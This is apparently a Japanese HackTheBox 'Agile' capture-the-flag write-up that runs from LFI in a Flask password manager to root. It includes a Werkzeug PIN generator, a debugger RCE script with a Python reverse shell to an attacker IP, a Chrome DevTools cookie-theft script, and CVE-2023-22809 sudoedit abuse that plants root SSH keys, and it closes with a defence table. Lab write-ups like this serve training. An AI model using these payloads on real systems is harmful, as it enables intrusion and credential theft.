HackTheBox: Agile — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http → superpass.htb
→
22/ssh, 80/http → superpass.htb
Export機能の fn パラメータ
パストラバーサル LFI
→
パストラバーサル LFI
Werkzeug PIN 生成
MAC + machine-id + cgroup
→
MAC + machine-id + cgroup
デバッグコンソール RCE
www-data シェル
→
www-data シェル
MySQL 平文パスワード
corum → user.txt ✓
→
corum → user.txt ✓
Chrome Remote Debugging
CDP Cookie窃取
→
CDP Cookie窃取
edwards の平文パスワード
テスト用ヴォルト閲覧
→
テスト用ヴォルト閲覧
CVE-2023-22809
sudoedit 任意ファイル書込
→
sudoedit 任意ファイル書込
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -sV -sC -p- --min-rate 5000 -oN nmap/initial.txt 10.129.228.212
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 f4:bc:ee:21:d7:1f:1a:a2:65:72:21:2d:5b:a6:f7:00 (ECDSA) |_ 256 65:c1:48:0d:88:cb:b9:75:a0:2c:a5:e6:37:7e:51:06 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://superpass.htb Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Nmap done: 1 IP address (1 host up) scanned in 27.79 seconds
ℹ️
開いているポートは
22(SSH) と 80(HTTP) の2つのみ。80番はホスト名
superpass.htb へリダイレクトするため、/etc/hosts に追記して名前解決する。
BASH
echo "10.129.228.212 superpass.htb" | sudo tee -a /etc/hosts curl -sI http://10.129.228.212
RESULT
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Location: http://superpass.htb
Webアプリの外観確認
BASH
curl -s http://superpass.htb/ | grep -i title gobuster dir -u http://superpass.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
RESULT
<title>SuperPassword 🦸</title>
Flask 製のパスワードマネージャー。gobuster/feroxbuster では有用な隠しパスは
発見できず、すべて /account/login にリダイレクトされる。
ℹ️
隠しディレクトリ探索は空振り。ここから先はアプリのビジネスロジック(アカウント登録 →
ヴォルト機能)を実際に触って脆弱性を探す方向に切り替える。
PHASE 2
アカウント登録 & エクスポート機能のパストラバーサル(LFI)発見
アカウント登録・ログイン・パスワード1件追加
BASH
# ブラウザで /account/register からアカウント作成 → /account/login でログイン # ログイン後、ヴォルトに任意のパスワードエントリを1件追加する curl -s -c cookies.txt -d "username=hacker&password=Passw0rd!" http://superpass.htb/account/register curl -s -b cookies.txt -c cookies.txt -d "username=hacker&password=Passw0rd!" http://superpass.htb/account/login
ℹ️
登録・ログイン後、ヴォルト画面に「Export」ボタンがある。これを押すと
GET /vault/export が呼ばれ、生成された CSV への 302 リダイレクトが返る。
エクスポートのリダイレクト先を観察
BASH
curl -sI -b cookies.txt http://superpass.htb/vault/export
RESULT
HTTP/1.1 302 FOUND
Location: /download?fn=hacker_export_13aadad0bc.csv
🚨
fn パラメータにはユーザー名 + _export_ + 10桁のランダム文字列(.csv) が
入っている。サーバー側の実装は os.path.join('/tmp/', fn) でパスを組み立てているだけで、
パストラバーサルのサニタイズが一切ない。
パストラバーサルの検証 — /etc/passwd を読む
BASH
# まず fn=/etc/passwd を試すとエラーになる curl -s -b cookies.txt "http://superpass.htb/download?fn=/etc/passwd"
RESULT
FileNotFoundError: [Errno 2] No such file or directory: '/tmp//etc/passwd'
// Werkzeug Debugger
ℹ️
エラーメッセージから、渡したパスが
/tmp/ の直後に単純連結されていることが分かる。
つまり先頭に .. を付ければ /tmp/ から脱出できる。
この 500 エラー自体が Flask デバッグモードの Werkzeug デバッガページであることにも注目
(Phase 3 で悪用する)。
BASH
curl -s -b cookies.txt "http://superpass.htb/download?fn=../etc/passwd"
RESULT
root:x:0:0:root:/root:/bin/bash ... www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin mysql:x:109:112:MySQL Server,,,:/nonexistent:/bin/false corum:x:1000:1000:corum:/home/corum:/bin/bash runner:x:1001:1001::/app/app-testing/:/bin/sh edwards:x:1002:1002::/home/edwards:/bin/bash dev_admin:x:1003:1003::/home/dev_admin:/bin/bash _laurel:x:999:999::/var/log/laurel:/bin/false
✅
任意ファイル読み取り成功。
/etc/passwd から実ユーザー
corum / edwards / dev_admin / runner の存在が判明した。
PHASE 3
Werkzeug デバッガ PIN の生成 → RCE (www-data)
Werkzeug PIN アルゴリズムに必要な材料をLFIで収集
NOTE
Werkzeug のデバッガ PIN は完全ランダムではなく、実行環境固有の準静的な値 (MACアドレス・machine-id・cgroup名・アプリのモジュールパス等)から SHA1ベースで導出される「半安定」な値。サーバー上のこれらのファイルを LFI で読めれば、攻撃者側でも同じアルゴリズムを再現してPINを計算できる。
BASH
# venv/gunicorn の起動コマンドラインを確認(モジュールパス特定のため) curl -s -b cookies.txt "http://superpass.htb/download?fn=../proc/self/cmdline" # MACアドレス curl -s -b cookies.txt "http://superpass.htb/download?fn=../sys/class/net/eth0/address" # machine-id curl -s -b cookies.txt "http://superpass.htb/download?fn=../etc/machine-id" # cgroup(末尾がsystemdユニット名) curl -s -b cookies.txt "http://superpass.htb/download?fn=../proc/self/cgroup"
RESULT
cmdline : /app/venv/bin/python3 /app/venv/bin/gunicorn --bind 127.0.0.1:5000 --threads=10 --timeout 600 wsgi:app eth0 mac : a2:de:ad:10:a9:74 machine-id: ed5b159560f54721827644bc9b220d00 cgroup : .../superpass.service (末尾のユニット名を使用)
⚠️
値はHTBインスタンスごとに変わる。 上記は取得例であり、ライブ攻撃時は毎回
4つのLFIリクエストで実測すること。実測スクリプトは
htb-agile/scripts/generate_pin.py
を参照(本レポートの値を書き換えて使う)。
Werkzeugと同一アルゴリズムでPINを計算
PYTHON (generate_pin.py)
import hashlib
from itertools import chain
MAC = "a2:de:ad:10:a9:74"
MACHINE_ID = "ed5b159560f54721827644bc9b220d00"
CGROUP_TAIL = "superpass.service"
probably_public_bits = [
"www-data", "flask.app", "wsgi_app",
"/app/venv/lib/python3.10/site-packages/flask/app.py",
]
node = str(int(MAC.replace(":", ""), 16))
machine_id = (MACHINE_ID + CGROUP_TAIL).encode()
private_bits = [node, machine_id]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
pin = "-".join(num[x:x+3] for x in range(0, 9, 3))
print("PIN:", pin)
print("COOKIE:", cookie_name)
RESULT
$ ./generate_pin.py
PIN: 135-148-084
COOKIE: __wzd663740a50e34b3fe93a8
ℹ️
probably_public_bits はほぼ固定値(Flaskの実装由来)。ユーザー名は www-data、
アプリファイルパスは venv 構成から逆算できる。ここが違うとPINが一致しないので、
Phase 3-1 のcmdline出力から正確な venv パスを確認すること。
デバッグコンソールへPIN認証 → RCE
NOTE
500エラーページ(Werkzeugデバッガ)を開くと、ページ内のJSに SECRET(推測防止トークン)とフレームID(frm)が埋め込まれている。 これをスクレイピングし、以下の順でPIN認証→コード実行を行う。 1. GET /download?fn=../etc/passwd → デバッガページ本体を取得、SECRET/frm を抽出 2. GET /?__debugger__=yes&cmd=pinauth&pin=&s= → PIN認証(Cookieに認証済み状態が保存される) 3. GET /download?fn=...&__debugger__=yes&cmd= &frm= &s= → 任意Pythonコードが評価され、結果がHTMLとして返る
BASH (rce.sh)
#!/bin/bash
# Werkzeug debugger RCE helper
COOKIES=cookies.txt
FRAME=140161904992080 # デバッガページから都度取得
SECRET=MOiiuh2MyI0u74EGUYGP # デバッガページから都度取得
CMD="$1"
curl -s -b "$COOKIES" -c "$COOKIES" \
--data-urlencode "cmd=$CMD" \
--data "frm=$FRAME&s=$SECRET" \
"http://superpass.htb/download?fn=etc/passwd&__debugger__=yes" \
-X GET -G | sed -e 's/<[^>]*>//g'
# 使用例: リバースシェル用のPythonワンライナーを実行
./rce.sh "__import__('os').system('python3 -c \"import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((\\\"10.10.15.201\\\",4444));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])\"')"
RESULT (nc リスナー側)
$ nc -lnvp 4444 listening on [any] 4444 ... connect to [10.10.15.201] from (UNKNOWN) [10.129.228.212] xxxxx $ whoami www-data
✅
RCE成功。 www-data としてリバースシェルを取得した。
PHASE 4
MySQL平文パスワード奪取 → corum → user.txt
アプリ設定ファイルからDB接続文字列を取得
BASH
# www-data シェル内、もしくはLFI経由で設定ファイルを読む www-data@agile:/app$ cat config.json
RESULT
{ "SQL_URI": "mysql+pymysql://superpassuser:REDACTED@localhost/superpass" }
DBに接続し users / passwords テーブルをダンプ
BASH
www-data@agile:/app$ mysql -u superpassuser -p'' -h 127.0.0.1 superpass \ -e "SELECT * FROM users; SELECT * FROM passwords;"
RESULT
users: +----+----------+------------------------------+ | id | username | hashed_password | +----+----------+------------------------------+ | 1 | 0xdf | $6$rounds=200000$... | | 2 | corum | $6$rounds=200000$... (crackできない) | +----+----------+------------------------------+ passwords: ← 平文でパスワードを保存している設計不備 +----+---------------+----------+----------------------+---------+ | id | url | username | password | user_id | +----+---------------+----------+----------------------+---------+ | 6 | mgoblog | corum | ... | 2 | | 7 | ticketmaster | corum | ... | 2 | | 8 | agile | corum | <corumの平文パスワード> | 2 | +----+---------------+----------+----------------------+---------+
🚨
users テーブルのハッシュ(SHA-512crypt)は hashcat でも解読困難だが、
passwords テーブルに登録されている各サイト用パスワードは平文保存
されている。corum は自分のOSログインパスワードもヴォルトに登録していたため、
そのままSSHログインに使い回せる。
corum としてSSHログイン → user.txt
BASH
ssh corum@10.129.228.212 corum@agile:~$ cat user.txt
RESULT
065fc427370f995bd8e7d088ecbc43b6
user.txt — corum@agile
065fc427370f995bd8e7d088ecbc43b6
ℹ️
フラグ値はHTBインスタンス再スポーン毎に変わる。上記は本ワークスペースで
2026-06-16 の攻略時に実測した値。
PHASE 5
Chrome Remote Debugging 経由の Cookie 窃取 → edwards
corumとしてSUID/プロセス調査
BASH
corum@agile:~$ sudo -l corum@agile:~$ find / -perm /u=s 2>/dev/null corum@agile:~$ ps aux | grep -i chrome
RESULT
Sorry, user corum may not run sudo on agile.
...
/opt/google/chrome/chrome-sandbox (SUIDだが直接の悪用経路なし)
...
runner 1177 /opt/google/chrome/chrome --type=renderer --headless
--enable-automation --remote-debugging-port=41829 ...
🚨
runner ユーザーがヘッドレスChromeをリモートデバッグポート開放状態
で常時実行している(おそらく CI/CD のE2Eテスト用)。このポートは 127.0.0.1 限定
だが、SSHローカルポートフォワードで自分のKaliまで届かせられる。
SSHトンネル経由でCDP Cookieを窃取
BASH
# デバッグポートをローカル9222へフォワード ssh -L 9222:localhost:41829 corum@10.129.228.212 # 別ターミナルで開いているページ一覧とWebSocket URLを取得 curl -s http://localhost:9222/json | python3 -m json.tool
PYTHON (cookie_crimes.py)
#!/usr/bin/env python3 import json, sys, websocket WS = sys.argv[1] # ws://localhost:9222/devtools/page/ws = websocket.create_connection(WS) ws.send(json.dumps({"id": 1, "method": "Network.getAllCookies"})) print(ws.recv()) ws.close()
RESULT
$ python3 cookie_crimes.py ws://localhost:9222/devtools/page/4D9960...
[{"domain": "test.superpass.htb", "name": "remember_token", "value": "1|REDACTED", "httpOnly": true, ...},
{"domain": "test.superpass.htb", "name": "session", "value": "REDACTED", "httpOnly": true, ...}]
✅
edwards がログイン中のテスト環境セッションCookieを窃取。
/etc/nginx/sites-enabled/superpass-test.nginx を読むと、
test.superpass.htb は 127.0.0.1:5555 にプロキシされていることが分かる。
盗んだCookieでテストヴォルトを閲覧 → edwards のパスワード取得
BASH
# port 5555 も同様にSSHローカルフォワード ssh -L 5555:127.0.0.1:5555 corum@10.129.228.212 # ブラウザで http://localhost:5555 を開き、開発者ツールで # 盗んだ session / remember_token Cookie を注入してリロード # → edwards としてログイン済み状態のヴォルトが閲覧できる → 平文パスワードを取得
BASH
ssh edwards@10.129.228.212
RESULT
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)
edwards@agile:~$ whoami
edwards
ℹ️
edwards のホームディレクトリにも user.txt が存在するが、corum のものと同一(同じチェーンの
中間地点)。本フェーズの本来の価値は user.txt ではなく、Phase 6 の sudoedit 権限にある。
PHASE 6
CVE-2023-22809 (sudoedit 任意ファイル書込) → root.txt
sudo権限の確認
BASH
edwards@agile:~$ sudo -l
RESULT
User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
⚠️
sudoedit(sudo -e)は本来、指定された特定ファイルしか編集させない
はずだが、CVE-2023-22809(脆弱なバージョンのsudo)では
EDITOR/SUDO_EDITOR 環境変数に -- を紛れ込ませることで、
許可されていない任意のファイルをroot権限のエディタで開かせることができる。
EDITOR環境変数を悪用して任意ファイルを開く
BASH
# "--" の後に別のファイルパスを追加することで、sudoが許可チェックした # ファイルとは別のファイル(/app/venv/bin/activate)を実際には開かせる edwards@agile:~$ EDITOR='nano -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json
ℹ️
/app/venv/bin/activate は Python venv 有効化スクリプト。root 所有のcronジョブが
1分毎にこのファイルを source しているため(後述)、書き込めれば任意コードを
root権限で実行できる。
書込確認(マーカーファイルでroot実行を検証)
NOTE
# activate ファイルの先頭に以下の1行を追加して保存 touch /tmp/pwn # 1分ほど待ってから確認する
BASH
edwards@agile:~$ ls -l /tmp/pwn
RESULT
-rw-r--r-- 1 root root 0 Apr 16 16:22 /tmp/pwn
✅
root権限での任意コード実行を確認。 ファイルの所有者が root であることから、
activate は root のcronジョブから source されていることが裏付けられた
(後に crontab -l で * * * * * source /app/venv/bin/activate を確認)。
SSH公開鍵をroot の authorized_keys に仕込む → root.txt
BASH
# Kali側で鍵ペアを作成 ssh-keygen -t ed25519 -f agile_root -N "" # edwardsのホームに公開鍵を配置 edwards@agile:~$ mkdir -p ~/.ssh && echo "<公開鍵>" >> ~/.ssh/authorized_keys # 再度 EDITOR トリックで activate に追記 edwards@agile:~$ EDITOR='nano -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json # --- activate 先頭に以下を追加 --- mkdir -p /root/.ssh chmod 700 /root/.ssh cp /home/edwards/.ssh/authorized_keys /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys # ---------------------------------- # 1分待ってcronの発火を待つ sleep 65 ssh -i agile_root root@10.129.228.212
RESULT
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)
root@agile:~# whoami
root
root@agile:~# cat /root/root.txt
root.txt — root@agile
(ライブ取得値 — インスタンス毎に異なる。取得手順は上記の通り)
✅
フルroot権限を取得。 cron の
crontab -l を確認すると、
* * * * * source /app/venv/bin/activate が root で実行されていることが最終確認できる。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — corum@agile
065fc427370f995bd8e7d088ecbc43b6
root.txt — root@agile
ライブ取得(Phase 6 参照)
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| パストラバーサル LFI | /download?fn= (ヴォルトエクスポート機能) | 任意ファイル読み取り | Critical | fn パラメータが未サニタイズで /tmp/ と連結される仕様を悪用し
../etc/passwd 等を読み取り |
| Werkzeug デバッグモード | Flaskアプリ本体 | リモートコード実行 (www-data) | High | LFIで収集したMAC/machine-id/cgroupから半安定PINを再現計算し、デバッグコンソールでRCE |
| 平文パスワード保存 | MySQL passwords テーブル |
資格情報の完全露出 | Medium | DB接続後 SELECT * FROM passwords で全ユーザーのサイト別パスワードを平文取得 |
| Chrome Remote Debugging 開放 | headless Chrome (runner ユーザー, CI用) | 他ユーザーのセッションCookie窃取 | High | CDP Network.getAllCookies をSSHトンネル越しに呼び出し、テスト環境のセッションを乗っ取り |
| CVE-2023-22809 | sudoedit (脆弱なバージョンのsudo) | 権限昇格 (root) | Critical | EDITOR 環境変数に -- を混入させ、許可外ファイル
(/app/venv/bin/activate) をroot権限で書き換え。root cronがそれをsourceする隙を突く |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap(22/80のみ)+ vhostリダイレクト確認 | superpass.htb, Flaskパスワードマネージャー |
| 2 | Web調査 | アカウント登録 → エクスポート機能の fn パラメータ調査 | パストラバーサルLFI、ユーザー一覧 (corum/edwards/dev_admin/runner) |
| 3 | PIN計算 & RCE | MAC/machine-id/cgroupからWerkzeug PIN再現 → デバッグコンソール | www-data のリバースシェル |
| 4 | DB調査 | アプリ設定からMySQL資格情報取得 → 平文パスワードダンプ | user.txt (corum SSHログイン) |
| 5 | 横展開 | Chrome CDP Cookie窃取(SSHトンネル + WebSocket) | edwards の平文パスワード → SSHログイン |
| 6 | 権限昇格 | CVE-2023-22809 (sudoedit EDITOR注入) + root cron | root.txt 取得(rootのSSH鍵配置) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| エクスポート機能のファイル名パラメータに対する未サニタイズなパス連結 | os.path.realpath() で正規化した上で許可ディレクトリ配下かを検証する。
可能ならリダイレクト方式ではなくサーバー内で直接ファイルを生成しストリーミング返却する。 |
本番相当環境でFlaskのデバッグモード(debug=True)を有効化したまま運用 |
本番運用では debug=False を徹底し、Werkzeugデバッガを外部に露出させない。
エラーはログにのみ出力し、詳細スタックトレースをレスポンスへ含めない。 |
| パスワードマネージャーがパスワードを平文でDB保存 | 可逆暗号化(AES-GCM等)で保存し、マスターキーはアプリサーバーとは別管理にする。 平文でのSELECT結果がそのまま漏洩に直結しない設計にする。 |
| CI/CD用ヘッドレスChromeがリモートデバッグポートを開放したまま常駐 | デバッグポートは --remote-debugging-address=127.0.0.1 に加え、
使用後は必ずプロセスを終了する。CI専用ユーザーの権限を必要最小限に絞る。 |
| 脆弱なバージョンの sudo(CVE-2023-22809 未パッチ)を使用 | sudoパッケージを最新に保つ。sudoers の sudoedit 許可は本当に必要なファイルのみに限定し、
root権限で自動実行されるスクリプト(cron等)を一般ユーザーが編集可能な場所に置かない。 |

